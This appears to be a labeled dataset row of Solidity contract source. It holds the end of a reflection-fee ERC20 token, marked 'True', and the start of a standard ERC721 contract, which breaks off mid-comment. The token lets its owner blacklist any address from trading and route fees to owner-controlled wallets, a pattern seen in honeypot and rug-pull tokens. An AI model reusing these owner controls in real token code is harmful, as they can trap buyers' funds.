function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 3500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | True | [
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|
/**
*Submitted for verification at Etherscan.io on 2021-08-27
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
